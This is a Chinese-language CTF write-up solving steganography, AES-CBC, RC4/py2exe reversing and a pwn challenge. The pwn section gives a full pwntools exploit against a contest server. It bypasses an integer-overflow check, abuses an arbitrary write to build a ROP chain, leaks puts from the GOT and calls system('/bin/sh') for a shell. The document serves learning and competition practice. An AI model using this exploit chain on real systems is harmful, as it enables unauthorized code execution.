0x0. 前言
最近连续参加了几场 CTF,这算是打得最好的一场了,虽然还是很菜。题目 pwn 比较多,只做出最简单的一道… 总体来说玩得还是很开心。
0x1. Misc - Traffic Light - 100 pt
图片隐写题。
给了一个 GIF 图,以为是 LSB 那种套路题,结果不是。文件很大,有 18MB,动画内容是一个红绿灯不停地闪,看了一会儿发现闪的灯有猫腻,并不是简单地随便闪,似乎总是八次红或绿之后闪一次黄,这让我们联想到会不会是红绿色代表一个二进制位,而黄色代表字节之间的分隔。尝试假设绿色代表 0,红色代表 1,对前几次信号灯进行解码,的确可以解出可见字符。接下来就是写脚本自动解码: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| from PIL import Image from PIL import ImageSequence frames = [] img = Image.open('./Traffic_Light.gif') ro = 0 yo = 0 go = 0 for frame in ImageSequence.Iterator(img): f = frame.copy().convert("RGB") r1, g1, b1 = f.getpixel((111,52)) r2, g2, b2 = f.getpixel((111,102)) r3, g3, b3 = f.getpixel((111,143)) if r1 == 255 and g1 == 0 and b1 == 0 and ro == 0: ro = 1 yo = 0 go = 0 print('1',end='') continue if r2 == 255 and g2 == 255 and b2 == 0 and yo == 0: ro = 0 yo = 1 go = 0 print(' ',end='') continue if r3 == 0 and g3 == 255 and b3 == 0 and go == 0: ro = 0 yo = 0 go = 1 print('0',end='') continue ro = 0 yo = 0 go = 0
|
看成 ASCII 码转成字符就是 flag。
0x2. Misc - GreatWall - 200 pt
图片隐写题。
这次是常规套路,用 Stegsolve 打开图片,查看 RGB 通道,发现通道 0 有一道黑条,应该是隐藏了数据。提取出来看看:
有 Exif 字样,可能是一张图片,先保存成文件。把后缀改成各种图片格式都无法打开,既然有 Exif 信息,就用 ExifTool 看看,说不定有线索。ExifTool 提示文件前面有 8 字节未知头部然后跟着疑似 JPEG 的数据。用十六进制编辑器把文件前 8 字节删掉,然后就可以以 jpg 格式打开了。图片最上面有一行加号、长横、短横的组合,每两个加号之间都是间隔 6 或者 7 个横。加号应该是分隔符,长短横一开始以为是莫尔斯码,但这样分隔的话解码方式不唯一,又想了想,可能是长横代表 1,短横代表 0。手动进行翻译,不足 8 位的在前面补 0,和上一题一样的套路,得到一串二进制,转成字符就是 flag。
0x3. Crypto - easyCrypto - 200 pt
AES 加密题。
给了密文 524160f3d098ad937e252494f827f8cf26cc549e432ff4b11ccbe2d8bfa76e5c6606aad5ba17488f11189d41bca45baa
和一个脚本,里面都帮你注释好了是 AES 加密、数据分组长度 128 bits。看代码也很容易知道加密模式 CBC,初始向量 IV 是 16 字节随机数据。加密部分如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| def encrypt(self, plaintext): iv = Random.new().read(16) aes = AES.new(self.key,AES.MODE_CBC,iv) prev_pt = iv prev_ct = iv ct="" msg=self.pad(plaintext) for block in self.split_by(msg, 16): ct_block = self.xor(block, prev_pt) ct_block = aes.encrypt(ct_block) ct_block = self.xor(ct_block, prev_ct) ct += ct_block return b2a_hex(iv + ct)
|
注意最后一行,返回的密文是 IV 和明文加密结果拼接,说明密文前 16 字节就是 IV。那就很简单了,写解密脚本(网上有几乎一样的,拿来改下就好了):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| [省略原脚本部分] def decrypt(self, msg): iv, msg = msg[:16], msg[16:] aes = AES.new(self.key,AES.MODE_CBC,iv) prev_pt = iv prev_ct = iv ct="" for block in self.split_by(msg, 16): ct_block = self.xor(block, prev_ct) ct_block = aes.decrypt(ct_block) ct_block = self.xor(ct_block, prev_pt) ct += ct_block print(ct_block) if __name__ == '__main__': key="asdfghjkl1234567890qwertyuiopzxc" demo = aesdemo(key) msg="524160f3d098ad937e252494f827f8cf26cc549e432ff4b11ccbe2d8bfa76e5c6606aad5ba17488f11189d41bca45baa" demo.decrypt(a2b_hex(msg))
|
0x4. Pwn - overInt - 100 pt
整数溢出 + ROP 题。
先看看保护,只开了 NX。拖进 IDA,先看 main()
函数开头几句,是这样:
读 4 字节到 buf
里,把这 4 字节解释为一个 int
(注意小尾序),存到 buf_int
里。buf
其实是指向 v9
的指针,而接下来把 &v8
传入(其实相当于传的是 buf
,因为传入的函数里直接跳过了 v8
从 v9
开始处理)sub_4007D1
进行计算,若返回 35
程序才继续往下走。
sub_4007D1
的计算比较简单,写了个 C 程序来爆破什么样的输入能让其返回 35
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| #include <stdio.h> int main() { int v3 = 0; for (int a=0; a<256;a++) for (int b=0;b<256; b++) for (int c=0;c<256;c++) for (int d=0; d<256;d++) { if (a<30 || b<30) continue; v3 = 0; v3 = ((char)(a >> 4) + 4 * v3) ^ (a << 10); v3 = ((char)(b >> 4) + 4 * v3) ^ (b << 10); v3 = ((char)(c >> 4) + 4 * v3) ^ (c << 10); v3 = ((char)(d >> 4) + 4 * v3) ^ (d << 10); if ((v3 % 47 + (v3 % 47 < 0 ? 47 : 0)) == 35) { printf("%x\t%x\t%x\t%x\n",a,b,c,d); } } }
|
结果有很多组这样的输入,就随便挑一组 \x1e\x28\x7a\x61
吧。先用脚本测试一下是不是真的通过了 35
的测试:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| from pwn import * context.log_level = 'debug' p = remote('58.20.46.148',35272) def pwn_main(): p.recvuntil('number: \n') p.send('\x1e\x28\x7a\x61') p.interactive() pwn_main()
|
测试成功,没有提示 You get the wrong key!
。
回到 main()
,接着往下看:
先测试 sub_4006C6
的返回值是否等于 v16
,等于才继续运行。再测试 buf_int + v16
是否小于等于 4
,是则继续运行。这里 v16
是一个预设值,等于 0x20633372
。进入 sub_4006C6
分析:
先读 4 字节到 buf
里(这个 buf
是局部变量,不是刚才那个),将其解释为 int
存到 v5
中,这个数决定接下来的循环次数。然后如果 v5 > 4
,进入循环,循环 v5
次,每次尝试读取 4 字节到 buf
中,如果读到 4 字节,则把这 4 字节解释为 int
加到 v7
上,如果不足 4 字节就啥都不做,进入下一次循环。最后函数的返回值是 v7
的内容,也就是说我们只要让 v7
等于 0x20633372
就 OK 了,而这只要每次循环中输入的数相加等于它就能做到。循环次数 v5
必须大于 4,这里有两种做法:一是第一次输入 0x20633372
,后面几次输入 0
,二是第一次输入 0x20633372
,后面几次输入不足 4 字节。我们采取后者。
1 2 3 4 5 6 7
| p.recvuntil('have?\n') p.send('\x05\x00\x00\x00') p.recvuntil('is: \n') p.sendline('\x72\x33\x63\x20') for _ in range(3): p.recvuntil('is: \n') p.sendline('\x01\x01')
|
回到 main()
,接着看下一个检查:测试 buf_int + v16
是否小于等于 4
,是则继续运行。v16
是固定的预设值,我们只能通过改变开始输入的 buf_int
来满足这一要求,由于二者都是有符号 32 位整数,只要让二者相加溢出绕回到负数即可,我们开头选择的 \x1e\x28\x7a\x61
正好满足要求(0x617a281e
+ 0x20633372
<= 4)。
然后进入 main()
最后也是最重要的一段逻辑:
这也太直白了,直接给了你任意地址写漏洞… 可以想到接下来的事就是常规套路:泄露 libc 地址,查 libc 版本,计算 system
和 /bin/sh
字符串地址,跳到 system
获得 shell。
首先,泄露 libc 地址。程序里有 puts
,就用它了,调用 puts(puts_got);
就能泄露出其真实地址。得解决两个问题:1. 怎么给 puts
传参;2. 怎么跳到 puts
。问题一答案是 ROP,这是 64 位 ELF,用寄存器传参,找到 pop rdi; ret;
这样的 gadget,任意地址写把参数写到栈上,跳到 gadget 就可以传参,问题二答案是任意地址写覆盖 main()
返回地址。
先把参数写到栈上,参数是 puts
的 GOT 表地址,可以用 objdump
获得,注意任意地址写写入的地址是 我们输入的地址 + &v9
,也就是说我们要输入的应该是 v9 到目标地址的距离,这个距离每次运行都是不会变的,动态调试加计算一下就能得出。用 ROPgadget 找到 0x400b13
处有 pop rdi; ret;
,我们先覆盖 main()
返回地址,再布置参数,再布置 puts
的 PLT 地址,就能实现传参并跳到 puts
。这部分代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| def write(offset, data): p.recvuntil('modify?\n') p.send(p32(offset)) p.recvuntil('write in?\n') p.send(data) p.send('\x15\x00\x00\x00') write(0x38, '\x13') write(0x39, '\x0b') write(0x3a, '\x40') write(0x3b, '\x00') write(0x3c, '\x00') write(0x3d, '\x00') write(0x40, '\x18') write(0x41, '\x20') write(0x42, '\x60') write(0x48, '\x50') write(0x49, '\x05') write(0x4a, '\x40') write(0x4b, '\x00') write(0x4c, '\x00') write(0x4d, '\x00') write(0x50, '\x7f') write(0x51, '\x08') write(0x52, '\x40') write(0x53, '\x00') write(0x54, '\x00') write(0x55, '\x00') p.recvuntil('hello!') puts_addr = u64(p.recvline().ljust(8,'\x00')) - 0xa000000000000 print 'puts_addr: ' + hex(puts_addr)
|
其次,得到 puts
真实地址后,查 libc-database 得知是 glibc 2.23,也可以计算出 system
和 /bin/sh
地址。最后我们需要回到 main()
开头再次触发漏洞,用同样的套路给 system
传参,跳到 system
就成功了。
最后全部 exp 如下: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86
| from pwn import * context.log_level = 'debug' p = remote('58.20.46.148',35272) def pwn_main(): p.recvuntil('number: \n') p.send('\x1e\x28\x7a\x61') p.recvuntil('have?\n') p.send('\x05\x00\x00\x00') p.recvuntil('is: \n') p.sendline('\x72\x33\x63\x20') for _ in range(3): p.recvuntil('is: \n') p.sendline('\x01\x01') p.recvuntil('modify?\n') def write(offset, data): p.recvuntil('modify?\n') p.send(p32(offset)) p.recvuntil('write in?\n') p.send(data) pwn_main() p.send('\x15\x00\x00\x00') write(0x38, '\x13') write(0x39, '\x0b') write(0x3a, '\x40') write(0x3b, '\x00') write(0x3c, '\x00') write(0x3d, '\x00') write(0x40, '\x18') write(0x41, '\x20') write(0x42, '\x60') write(0x48, '\x50') write(0x49, '\x05') write(0x4a, '\x40') write(0x4b, '\x00') write(0x4c, '\x00') write(0x4d, '\x00') write(0x50, '\x7f') write(0x51, '\x08') write(0x52, '\x40') write(0x53, '\x00') write(0x54, '\x00') write(0x55, '\x00') p.recvuntil('hello!') puts_addr = u64(p.recvline().ljust(8,'\x00')) - 0xa000000000000 print 'puts_addr: ' + hex(puts_addr) binsh_addr = (0x18cd57 - 0x6f690) + puts_addr sys_addr = (0x45390 - 0x6f690) + puts_addr pwn_main() p.send('\x14\x00\x00\x00') write(0x38, '\x13') write(0x39, '\x0b') write(0x3a, '\x40') write(0x3b, '\x00') write(0x3c, '\x00') write(0x3d, '\x00') print 'binsh_addr: ' + hex(binsh_addr) print 'sys_addr: ' + hex(sys_addr) start = 0x40 for _ in range(6): write(start, chr(binsh_addr % 0x100)) binsh_addr = (binsh_addr >> 8) start = start + 1 start = 0x48 for _ in range(8): write(start, chr(sys_addr % 0x100)) sys_addr = sys_addr >> 8 start = start + 1 p.interactive()
|
0x5. Reverse - flow - 200 pt
RC4 算法 + 一点简单的排列组合题。
给了一个 exe,跑不起来,提示加载 Python 的 dll 失败,猜测是什么打包器把 py 脚本打包成了 exe,上网搜了一下,大概是 py2exe,有工具可以还原成 py 源码。还原后大致如下(变量名原来是混淆过的,我改了好看一点):
主函数把 flag 经过 CaR_chng
函数打乱,再交给 encode
函数加密,由该函数第一行知加密后字符串的前 16 个字符是字符串 1234
的 MD5 值,是固定的,然后再把 chng
打乱后的字符串和密钥 MD5 一部分拼接,再传给 docrypt
加密,最后密钥 MD5 另一部分和加密结果拼接返回。docrypt 函数多次对 256 取模,怀疑是 RC4 算法,网上找解密脚本即可(网上又有几乎一样的脚本,改改就能用)。
加密后的密文在远程服务器上,nc
连过去,会打印一串密文,但密文每次都不同,这是因为在 chng
函数中打乱用了时间作为随机数种子。我们随便取一次密文,对其解密。密文为0036dbd8313ed055NJD5H1Ufzl75Uabahst5fRLfw9ZIivE1QhW9436ZvI101BTq+6q2h0+GdytFg91PmsIoNolhj8r4+Kv+A7awqOMs
。
这里可能不是很明显,但做题时对多个密文解密可以发现明显的 flag{}
字样,只是顺序被打乱了。那么我们只要对解密后的内容想办法恢复打乱前的顺序就能得到 flag。
分析一下打乱函数 chng
,先生成 0,1,2,3 的全排列中的随机一个,称为 perm
,然后对明文做如下变换(称为第一次变换):1. 把第一个字符放到最后;2. 抽出偶数号字符,和奇数号字符拼接;3. 再次把第一个字符放到最后。接着,把第一次变换后的字符串每4个字符为一组打乱(称为第二次变换),打乱的顺序是 perm
的顺序,如字符串 abcd
经 perm: 3012
打乱后是 dabc
。对这两个变换重复 100 次,最后得到结果。
上述第一次变换的逆过程很容易写出: 1 2 3 4 5 6 7
| msg_orig='' msg = msg[-1:] + msg[:-1] msg_even = msg[:len(msg)/2] msg_odd = msg[len(msg)/2:] for x in xrange(0,len(msg),2): msg_orig = msg_orig + msg_even[x/2] + msg_odd[x/2] msg = msg_orig[-1:] + msg_orig[:-1]
|
第二次变换则涉及到随机排列,我们不知道服务器上生成的随机排列是什么。但 0,1,2,3 的全排列只有 4!=24 种,我们可以试遍所有排列,找到能还原出 flag 的那一个。做题时很幸运,试到第三个时就对了。最后的反打乱算法: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| def unchng(msg): W = 4 perm = [0,2,1,3] for j in xrange(100): res = '' for i in xrange(0, len(msg), W): for msgll in xrange(W): res += msg[i:i + W][perm[msgll]] msg = res msg_orig='' msg = msg[-1:] + msg[:-1] msg_even = msg[:len(msg)/2] msg_odd = msg[len(msg)/2:] for x in xrange(0,len(msg),2): msg_orig = msg_orig + msg_even[x/2] + msg_odd[x/2] msg = msg_orig[-1:] + msg_orig[:-1] return msg
|
调用: 1 2 3 4 5 6 7
| if __name__ == '__main__': rc = CaR('sdfgowormznsjx9ooxxx') st = rc.decode('0036dbd8313ed055NJD5H1Ufzl75Uabahst5fRLfw9ZIivE1QhW9436ZvI101BTq+6q2h0+GdytFg91PmsIoNolhj8r4+Kv+A7awqOMs') st = unchng(st) print st
|
最后两个点是加密时为了对齐补上去的,提交 flag 时要删掉。